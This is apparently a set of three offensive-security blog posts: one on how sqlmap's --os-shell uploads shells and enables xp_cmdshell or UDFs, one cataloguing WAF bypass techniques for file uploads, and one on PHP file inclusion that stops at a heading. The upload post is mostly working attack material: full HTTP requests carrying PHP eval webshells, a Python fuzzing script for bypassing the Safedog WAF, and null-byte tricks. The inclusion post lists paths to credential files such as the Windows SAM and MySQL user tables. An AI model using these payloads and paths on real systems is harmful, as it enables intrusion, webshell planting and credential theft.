Excalibra — Tue, 09 Jun 2026 22:22:33 +0000

Preface

When the database is MySQL, PostgreSQL, or Microsoft SQL Server, and the current user possesses the privileges required to invoke specific functions, sqlmap can be used to obtain an operating system shell.

In the case of MySQL and PostgreSQL, sqlmap uploads a binary library containing user-defined functions, sys_exec() and sys_eval(). These two functions, once created, are capable of executing system commands.

For Microsoft SQL Server, sqlmap employs the xp_cmdshell stored procedure. If this procedure is disabled (it is disabled by default in Microsoft SQL Server 2005 and later), sqlmap will attempt to re‑enable it; if it does not exist, sqlmap will create it automatically.

The following sections illustrate the principles behind the --os-shell feature by examining injection scenarios and direct database connections for SQL Server and MySQL.

Injection-Based `--os-shell`

Prerequisites:

Write access to the web server’s document root.
The secure_file_priv variable is either empty or set to a writable path.

During a standard SQL injection, --os-shell operates primarily by uploading a sqlmap trojan, which is subsequently used to execute commands.

Test Environment

Operating system: Microsoft Windows Server 2012 Standard
Database: MySQL 5.1.60
Scripting language: PHP 5.4.45
Web server: Apache 2.4.39

Initially, sqlmap is employed to detect the injection point.

The --os-shell flag is then invoked.

At this stage, sqlmap performs three key actions:

Probes the target to gather basic information.
Uploads a shell to the target web server.
Removes the shell upon exiting.

A packet capture with Wireshark, filtered to display only HTTP traffic, reveals the sequence.

Step 1 – sqlmap uploads a trojan that provides file‑upload functionality.

Following the HTTP stream reveals URL‑encoded content. Once decoded, it is apparent that the file is written to disk using INTO OUTFILE. The trojan’s code is hex‑encoded; decoding it exposes an upload‑capable script.

Step 2 – The uploaded trojan is used to transfer the actual shell.

Tracking the HTTP stream shows the shell’s source code in the request body.

Step 3 – Commands are passed to the shell for execution.

Step 4 – The shell is deleted.

A command is issued to remove the shell file.

Database‑Based `--os-shell`

When the database permits external connections, sqlmap can obtain a shell directly via the --os-shell flag.

Microsoft SQL Server

Prerequisites:

The database server accepts external connections.
The current database user holds sa (system administrator) privileges.

With SQL Server, --os-shell relies on the xp_cmdshell extended stored procedure to execute operating system commands.

Test Environment

Operating system: Microsoft Windows Server 2016 Datacenter
Database: Microsoft SQL Server 2008

Sqlmap is used to connect to the database.

sqlmap -d "mssql://user:password@ip:port/dbname"

Sqlmap does not ship with the pymssql module; it must be installed manually.

After executing python -m pip install pymssql, the connection is established successfully.

The --os-shell command is then issued.

At this point, sqlmap performs three key actions:

Identifies the database type and displays it.
Checks whether the current user is a database administrator (i.e., verifies sa privileges).
Determines whether xp_cmdshell is enabled; if it is not, sqlmap attempts to enable it.

In this instance, sqlmap was unable to activate xp_cmdshell automatically.

Consequently, --sql-shell was used to enable it manually:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

When RECONFIGURE; was executed, sqlmap reported a syntax error.

A Python script calling the pymssql module was written to isolate the issue.

The SELECT @@version; command could be executed successfully.

The error produced when executing RECONFIGURE; matched the error observed in --sql-shell.

Because sqlmap uses the pymssql module for database connections, it was necessary to enable xp_cmdshell using an alternative tool. Navicat was employed for this purpose.

The commands to enable xp_cmdshell were then executed.

Once enabled, commands could be issued either through Navicat or by using sqlmap’s --os-shell.

If a tool such as Navicat is used for the initial connection, one must manually verify whether the user is a database administrator and whether xp_cmdshell is present.

SELECT IS_SRVROLEMEMBER('sysadmin')

This determines if the user holds the sa role.

SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype='x' AND name='xp_cmdshell';

A result of 1 indicates that xp_cmdshell exists.

After these checks, the process follows the same pattern described above.

A Wireshark capture of the TCP stream reveals the data sent.

The code was copied to a text file and certain characters were replaced.

Before executing the user‑supplied command, sqlmap runs ping -n 10 127.0.0.1 and echo 1 (marked as ① and ② in the figure). The commands that follow (③ onwards) are hex‑encoded.

MySQL

Prerequisites:

The database server permits external connections.
The secure_file_priv variable is either empty or set to a writable path.
Write access to the MySQL installation directory is available.
For versions greater than 5.1, the /lib/plugin directory must exist.

The MySQL --os-shell method leverages user‑defined functions (UDFs) to execute commands. This topic is covered in greater detail in the article MySQL UDF Privilege Escalation.

Test Environment

Operating system: Microsoft Windows Server 2012 Standard
Database: MySQL 5.1.60

Sqlmap is used to connect to the database.

After installing pymysql, a second connection attempt is made; upon success, sqlmap displays the approximate database version.

The --os-shell flag is then issued.

At this point, sqlmap performs five key actions:

Connects to the MySQL database and retrieves its version.
Verifies whether the current user is a database administrator.
Checks if the sys_exec and sys_eval functions have already been created.
Uploads the appropriate DLL file to the target directory.
When the user exits, removes the sys_exec and sys_eval functions (by default).

A Wireshark TCP stream capture is analysed. The image below provides a detailed illustration of the process.

A Comprehensive Overview of WAF Bypass Methods for File Upload Vulnerabilities

Excalibra — Mon, 08 Jun 2026 02:06:22 +0000

Analysis of HTTP File Upload Packets

File upload is fundamentally a client-side POST request wherein the message body contains upload information. The front-end upload page must specify an enctype of multipart/form-data to permit a successful upload.

A typical file upload packet resembles the following:

POST http://www.example.com HTTP/1.1
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryyb1zYhTI38xpQxBK

------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="city_id"

1
------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="company_id"

2
------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="file"; filename="chrome.png"
Content-Type: image/png

PNG ... content of chrome.png ...
------WebKitFormBoundaryyb1zYhTI38xpQxBK--

The following characteristics may be extracted from the above:

The request header Content-Type exhibits these features:
- multipart/form-data – indicates that the request is a file upload request.
- Presence of a boundary string – serves as a delimiter to separate POST data.
The POST body contains:
- Content-Disposition – a response header that indicates whether the content is expected to be displayed inline in the browser.
- name – the name of the HTML form field referenced by this part.
- filename – a string that holds the original name of the file being transmitted.
The value of boundary in the POST body is the value declared in Content-Type prefixed with two hyphens --, except for the final closing boundary.
The closing boundary appends two additional hyphens by default (in testing, removing the last boundary line does not prevent a successful upload).

Modifiable Elements in a File Upload Packet

Content-Disposition – generally alterable.
name – the form parameter value; should not be altered.
filename – the file name; can be modified.
Content-Type – the file MIME type; can be changed depending on context.
boundary – the content delimiter; can be modified.

How WAFs Intercept Malicious Files

Consider how one might design a WAF. Defence may be approached from several angles:

File name – parse the file name and determine whether it appears in a blacklist.
File content – parse the file content to detect whether it constitutes a webshell.
File directory permissions – typically requires a host-based WAF.

Currently, most common WAFs parse the file name; a minority, such as Chaitin, also inspect file content. The discussion below focuses on file‑name‑based interception.

The general process is as follows:

Extract the boundary value from the Content-Type header of the request.
Using the boundary, parse the POST data to obtain the file name.
Determine whether the file name falls within an interception blacklist or outside a whitelist.

Having understood how a WAF intercepts malicious files, I classify common bypass methods into the following categories. A demonstration using the latest version of Safedog concludes the article.

Character Mutations

Quotation Mark Variations

Values in header fields can be enclosed in single quotes, double quotes, or no quotes at all, without affecting the upload outcome.

Content-Disposition: "form-data"; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename=xx.php
Content-Disposition: form-data; name="file_x"; filename=xx.php
Content-Disposition: form-data; name='file_x'; filename='xx.php'
Content-Disposition: 'form-data'; name="file_x"; filename='xx.php'

It is also possible to omit the trailing quotation mark of the filename string, and the upload will still succeed.

Content-Disposition: form-data; name="file_x"; filename="xx.php
Content-Disposition: form-data; name="file_x"; filename='xx.php
Content-Disposition: form-data; name="file_x"; filename="xx.php;

Case Modifications

The following three fixed strings may be subjected to case changes:

Content-Disposition
name
filename

For example, name may become Name, and Content-Disposition may become content-disposition.

Inserting Line Break Characters

Line breaks can be inserted between a field value and the equals sign; here the character [0x09] is used to represent a line break.

Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"[0x09]
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php[0x09];

Multiple Semicolons

During file parsing, the presence of multiple semicolons may prevent the WAF from correctly extracting the file name, thereby enabling a bypass.

Content-Disposition: form-data; name="file_x";;; filename="test.php"

Multiple Equals Signs

Using multiple equals signs within the POST content has no effect on file upload.

Content-Disposition: form-data; name=="file_x"; filename===="test.php"

Altering the Content-Disposition Value

Some WAFs assume that the value of Content-Disposition must be form-data, which can lead to bypasses. In fact, Content-Disposition may be arbitrarily altered or left empty.

Content-Disposition: fOrM-DaTA; name="file_x"; filename="xx.php"
Content-Disposition: form-da+ta; name="file_x"; filename="xx.php"
Content-Disposition: fo    r m-dat a; name="file_x"; filename="xx.php"
Content-Disposition: form-dataxx; name="file_x"; filename="xx.php"
Content-Disposition: name="file_x"; filename="xx.php"

Malformed Boundary Headers

The boundary can be mutated in the following ways without affecting the upload.

Normal boundary:

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111

Malformed boundary variations:

The case of multipart/form-data may be changed:

  Content-Type: mUltiPart/ForM-dATa; boundary=----WebKitFormBoundarye111

Spaces may separate multipart/form-data and boundary, and arbitrary content may be inserted between them:

  Content-Type: multipart/form-data boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data x boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data abcdefg boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data a\|/?!@#$%^() boundary=----WebKitFormBoundarye111

A comma may separate multipart/form-data and boundary, with arbitrary content inserted between:

  Content-Type: multipart/form-data,boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data,x,boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data,abcdefg,boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data,a\|/?!@#$%^(),boundary=----WebKitFormBoundarye111

Arbitrary content may be inserted directly before the boundary string (feasible on PHP):

  Content-Type: multipart/form-data;bypass&123**{|}boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data bypass&123**{|}boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data,bypass&123**{|}boundary=----WebKitFormBoundarye111

At the end of the boundary, a comma or semicolon may be used to separate and insert arbitrary content:

  Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111;123abc
  Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111,123abc

Sequence Reversal

Swapping the Order of name and filename

Because Content-Disposition must appear first, only the order of name and filename can be reversed. Some WAFs may expect name before filename, enabling a bypass.

Content-Disposition: form-data; filename="xx.php"; name="file_x"

Swapping the Order of Content-Disposition and Content-Type

Similarly, the order of Content-Disposition and Content-Type can be exchanged.

Content-Type: image/png
Content-Disposition: form-data; name="upload_file"; filename="shell.php"

Swapping the Order of Different Boundary Contents

The contents of different boundary parts may also be reordered without affecting the upload.

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf--

Data Repetition

Repetition of Boundary Content

The file ultimately uploaded is shell.php rather than shell.jpg. However, if only the first file name is extracted, a bypass may occur.

------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/png

<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarymeEzpUTMsmOfjwAA--

The following variant also achieves a successful upload:

------WebKitFormBoundarymeEzpUTMsmOfjwAA
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
------WebKitFormBoundarymeEzpUTMsmOfjwAA;123
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarymeEzpUTMsmOfjwAA--

Repetition of filename

The final uploaded file name is shell.php. However, because the file name is extracted by matching the first occurrence, regular expressions will typically match the first instance.

Content-Disposition: form-data; name="upload_file"; filename="shell.jpg filename="shell.jpg"; filename="shell.jpg"; filename="shell.php";

Data Overflow

Inserting Junk Data Between name and filename

A large volume of junk data may be inserted between name and filename.

POST /Pass-02/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
Connection: close

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; fbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf; 
filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--

Note: A semicolon must be placed after the large volume of junk data.

Inserting Junk Data into the Boundary String

The boundary string can contain arbitrary data (subject to length limitations). When the length exceeds what the WAF can process but the web server can still handle, the file upload may bypass the WAF.

POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Connection: close

------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="upload_file";filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9--

Inserting Junk Data at the End of the Boundary

As mentioned previously, arbitrary data may be appended to the end of the boundary string; thus, a large volume of junk data can be added there.

POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf,bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Connection: close
Content-Length: 592

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--

Inserting Junk Data Between multipart/form-data and boundary

Since it is possible to insert any data between multipart/form-data and boundary, a large volume of junk data can be placed there.

POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
Connection: close
Content-Length: 319

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--

Data Truncation

Carriage Return and Line Feed Truncation

POST request header values (not the header lines themselves) may contain line breaks, provided there are no blank lines. If the WAF stops matching the file name at a line break, a bypass can occur.

Content-Disposition: for
m-data; name="upload_
file"; fi
le
name="sh
ell.p
h
p"

Semicolon Truncation

If the WAF truncates the file name at a semicolon, a bypass can be achieved.

Content-Disposition: form-data; name="upload_file"; filename="shell.jpg;.php"

Quotation Mark Truncation

PHP versions prior to 5.3 exhibit single/double quote truncation behaviour.

Content-Disposition: form-data; name="upload_file"; filename="shell.jpg'.php"
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg".php"

Null Byte Truncation

In a URL, %00 represents the ASCII null character (0x00), which is reserved as a special character; when encountered, reading is terminated. Here [0x00] denotes the hexadecimal null byte.

Content-Disposition: form-data; name="upload_file"; filename="shell.php[0x00].jpg"

Practical Demonstration – Bypassing Safedog File Upload Protection

Experimental Environment

Target: Upload-Labs (Pass‑1)
Database: MySQL 5.5
Web script: PHP 5.4.19
WAF: Safedog for Apache v4.0.3025

During testing, only the upload protection module of Safedog was enabled; otherwise, other modules could delete files from the target environment due to false positives.

Practical Case 1 – Writing a Fuzzing Script to Exploit Data Overflow

Given that the boundary string can accommodate a large volume of junk data, a fuzzing script was written to test whether the WAF could be bypassed.

#! /usr/bin/env python
# _*_  coding:utf-8 _*_

import requests
import random

url="http://hackrock.com:813/Pass-01/index.php"

def generate_random_str(randomlength=16):
    random_str = ''
    base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
    length = len(base_str) - 1
    for i in range(randomlength):
        random_str += base_str[random.randint(0, length)]
    return random_str

for i in range(10,8000,50):
    stri = generate_random_str(i)
    try:

        headers = {
            "Host":"hackrock.com:813",
            "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36",
            "Referer":"http://hackrock.com:813/Pass-01/index.php",
            "Content-Type":"multipart/form-data; boundary=----" + stri
        }
        payload = """
            ------""" + stri + """
            Content-Disposition: form-data; name="upload_file"; filename="shell.php"
            Content-Type: image/png

            <?php @eval($_POST['hack']); ?>

            ------""" + stri + """
            Content-Disposition: form-data; name="submit"

            上传
            ------""" + stri + """--

        """

        response=requests.post(url=url,headers=headers,data=payload,timeout=0.5)
        result = response.content
        print result
        print stri
        print "\n"
        #print payload
        #print headers
        if result.count('上传'):
            print "Length is : %s " % str(i)
            break
    except:
        print "."

The script was written using Python 2.7; ensure a Python 2 environment and the required libraries are installed.

The test result indicated that a boundary length of 3710 characters was effective:

Although the file was not actually uploaded to the server (due to the target environment’s restriction), the Safedog WAF was successfully bypassed.

The crafted packet was then sent via Burp Suite:

The bypass was achieved.

Practical Case 2 – Bypassing Using Null Byte Truncation

The file was uploaded while intercepting with Burp Suite, and the filename value was changed to: shell.php;.jpg

The hex view was then opened (the semicolon’s hexadecimal value is 0x3b), and 3b was altered to 00:

The packet was sent.

The bypass was successful.

Different ways to get a shell using PHP file inclusion vulnerabilities

Excalibra — Mon, 08 Jun 2026 01:16:52 +0000

Related Functions

The following four functions in PHP are typically responsible for file inclusion vulnerabilities:

If an error occurs during inclusion with require() (e.g., the file does not exist), execution will halt immediately, and subsequent statements will not be executed.

If an error occurs with include(), only a warning is issued, and execution continues with subsequent statements.

require_once() and include_once() behave similarly to require() and include(), respectively. If a file has already been included, require_once() and include_once() will not include it again, thereby avoiding issues such as function redefinition or variable reassignment.

When these four functions are used to include files, regardless of the file type (e.g., image, text file), the file is parsed directly as PHP. Test code:

<?php
    $file = $_GET['file'];
    include $file;
?>

In the same directory, there is a file named phpinfo.txt with the following content: <?php phpinfo(); ?>. Simply visit:

fileinclude.php?file=phpinfo.txt

This will successfully execute phpinfo().

Scenario

The application uses one of the relevant file inclusion functions.
The file inclusion function uses a dynamic variable, e.g., include $file;.
An attacker can control that variable, e.g., $file = $_GET['file'];.

Classification

LFI (Local File Inclusion)

Local File Inclusion (LFI) refers to vulnerabilities that allow an attacker to include and execute local files. In most cases, encountered file inclusion vulnerabilities are LFI.

This type of vulnerability is not affected by the allow_url_fopen or allow_url_include settings. For example, setting both to Off in php.ini and restarting the server:

Visiting ?page=../../../phpinfo.php still successfully parses phpinfo().

RFI (Remote File Inclusion)

Remote File Inclusion (RFI) allows an attacker to include and execute files from a remote server. Since the remote file is under the attacker's control, this vulnerability can be extremely harmful. However, RFI has stricter prerequisites, requiring the following php.ini configurations:

allow_url_fopen = On
allow_url_include = On

Both must be On for remote file inclusion to succeed. For example, setting both to Off and restarting the server:

Visiting ?page=http://192.168.1.4 will produce errors:


Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_fopen=0 in D:\phpStudy\PHPTutorial\WWW\DVWA\vulnerabilities\fi\index.php on line 36

Warning: include(http://192.168.1.4): failed to open stream: no suitable wrapper could be found in D:\phpStudy\PHPTutorial\WWW\DVWA\vulnerabilities\fi\index.php on line 36

Warning: include(): Failed opening 'http://192.168.1.4' for inclusion (include_path='.;C:\php\pear;../../external/phpids/0.6/lib/') in D:\phpStudy\PHPTutorial\WWW\DVWA\vulnerabilities\fi\index.php on line 36

After setting both configuration options back to On and restarting the server, remote file inclusion works.

Absolute Paths of Sensitive Files

This article provides more detail: Summary of Sensitive Directory Paths in Windows and Linux

Below is a list of absolute paths for commonly used sensitive files:

# Windows:
c:/boot.ini                                 # View system version
c:/windows/php.ini                          # PHP configuration
c:/windows/my.ini                           # MySQL configuration (may contain credentials)
c:/winnt/php.ini
c:/winnt/my.ini
C:\Windows\win.ini                          # System configuration file
c:\mysql\data\mysql\user.MYD                # MySQL user passwords
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini   # Virtual host paths and passwords
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml    # IIS virtual host configuration
c:\windows\repair\sam                       # Windows initial installation password
c:\Program Files\Serv-U\ServUAdmin.exe      # Serv-U admin password (pre-6.0)
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif  # pcAnywhere login passwords
c:\Program Files\Apache Group\Apache\conf\httpd.conf or C:\apache\conf\httpd.conf  # Apache configuration
c:/Resin-3.0.14/conf/resin.conf             # Resin configuration (JSP)
c:/Resin/conf/resin.conf
/usr/local/resin/conf/resin.conf
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD                # MySQL user passwords

# Linux/Unix:
/usr/local/app/apache2/conf/httpd.conf      # Apache2 default configuration
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf  # Virtual host settings
/usr/local/app/php5/lib/php.ini             # PHP settings
/etc/sysconfig/iptables                     # Firewall rules
/etc/httpd/conf/httpd.conf                  # Apache configuration
/etc/rsyncd.conf                            # rsync configuration
/etc/my.cnf                                 # MySQL configuration
/etc/redhat-release                         # System version
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
/etc/httpd/conf/httpd.conf or /usr/local/apche/conf/httpd.conf
/usr/local/resin-3.0.22/conf/resin.conf
/usr/local/resin-pro-3.0.22/conf/resin.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
/etc/sysconfig/iptables

Inclusion Techniques

The following examples use this test code:

<?php
    $file = $_GET['file'];
    include $file;
?>

Default settings: allow_url_fopen = On, allow_url_include = Off. Special requirements are noted where applicable.

PHP Pseudo-Protocols

